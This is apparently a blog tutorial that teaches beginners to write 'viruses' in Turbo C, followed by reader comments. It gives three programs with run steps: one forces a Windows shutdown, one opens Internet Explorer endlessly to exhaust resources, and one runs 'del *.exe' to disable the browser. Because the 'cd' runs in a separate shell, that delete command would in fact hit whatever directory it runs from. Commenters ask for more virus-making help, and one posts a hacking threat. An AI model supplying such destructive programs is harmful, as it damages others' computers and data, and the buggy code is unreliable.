Create simple virus in c programming language


Create simple virus by c programming language.(Only for study)

Write c program which shutdown the window operating system?
Answer:

Step 1: Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main (void){
    system("shutdown -s");
    return 0;
}

Step 2: Save the above file. Let file name is close.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the close.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (close.exe)
After some time your window operating system will shutdown.

(2) Write a c program such that when we will click on its .exe file then it will open internet explorer at infinite times?

Answer:
Step 1: Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main (void){
for(; ;){
system("c:\\progra~1\\intern~1\\iexplore.exe");
}

return 0;
}

Step 2: Save the above file. Let file name is internet.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the internet.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (internet.exe)

(3) Write a c program which delete the all the .exe file of internet explorer so that internet explorer will not work?

Answer:


Write the following program in TURBO C.

#include<stdio.h>
#include<dos.h>

int main(void){
system("cd c:\\progra~1\\intern~1");
system("del *.exe");
system("cls");
return 0;
}

Step 2: Save the above file. Let file name is delete.c
Step 3: Only compile the above program.
Step 4: Now close the turbo c compiler and open that directory in window operating system where you have saved the delete.c (default directory c:\tc\bin)
Step 5: Double click on its .exe file (delete.exe)

Note: Above code has written in trubo c 3.0

If you have any questions in above simple virus by c programming language, you can ask here.

25 comments:

  1. difference between recursion and iteration.

    ReplyDelete
    Replies
    1. recursion is function in which function call itself and iteration is loop in which how many times any thing occure...

      Delete
  2. the concept of over lodding function there is in c

    ReplyDelete
  3. fantastic for fresher in virus programming

    ReplyDelete
    Replies
    1. #include
      #include

      int main (){
      int n,a[100],b[100];
      printf("how many Numbers do You want to treat?");
      scanf("%d",&n);
      printf("please enter the numbers");
      for(int i=0;i<n;i++){
      scanf("%d",&a[i]);
      }

      for(int j=0;j<n;j++){

      if(a[j]%2==0){
      printf("\neven %d",a[j]);

      }
      else{
      printf("\nodd %d",a[j]);
      }
      }
      getch();
      return 0;
      }

      Delete
    2. are u sure?

      Delete
  4. RECURCION IS SIMPLY USE OF ANY SUBROUTINE(FUNCTION) AGAIN AND AGAIN , WHILE ITERATION IS USED FOR CALLING SOME STATEMENTS AGAIN AND AGAIN BY USING LOOPS.
    THANKYOU
    OM PRAKASH

    ReplyDelete
  5. RECURCION IS SIMPLY USE OF ANY SUBROUTINE(FUNCTION) AGAIN AND AGAIN , WHILE ITERATION IS USED FOR CALLING SOME STATEMENTS AGAIN AND AGAIN BY USING LOOPS.
    THANKYOU
    OM PRAKASH

    ReplyDelete
  6. What is the disadvantage of loop.

    ReplyDelete
  7. thanks 4 giving the knowledge about virus

    ReplyDelete
  8. How i make to open an internet explorer in a web page i chose nd delete files i want ?

    ReplyDelete
  9. how i can create virus which delete other viruses in computer?

    ReplyDelete
  10. How can create a virus in c or c++ language?

    ReplyDelete
    Replies
    1. Study win32 api library , these programs just calling win32 api library functions.

      Delete
  11. WE ARE CYBER_MOUZZA

    if you make the virus for destroy a system ,,, we are will attack your

    We are cyber_mouzza... you make damaged for system.. security cyber soon search your location be careful with us

    ReplyDelete
  12. Why internet explorer direction is so:c:\\progra~1\\intern~1\\iexplore.exe

    ReplyDelete
  13. if take the .exe file of that (close.exe) program in pd and run in another computer it also work or not?

    ReplyDelete
  14. when i double click on close.exe...it tell me that this version of file does not compatible with running your windows...plese contanct your software publisher....i am using msdos turboc++ 3.0 /////help me/////////

    ReplyDelete
  15. Am using windows 7 ultimate and i tried the internet explorer and other programs but its nt working, ERROR system command must have a prototype, i'm using turbo c++ 4.5, will it support or not?

    ReplyDelete
    Replies
    1. friend , ialso triedit's not supporting.

      Delete
    2. This comment has been removed by the author.

      Delete
    3. type this on top below dos.h it wiill works 100%;
      include stdlib.h in brackets below dos.h

      Delete
  16. yes surely it will support u just need a dos box to install it now a days the websites them selves provide dos box with the c setup try it dude

    ReplyDelete
  17. any website that teach make virus of own???,please

    ReplyDelete
  18. it dosn't work in turbo C++

    ReplyDelete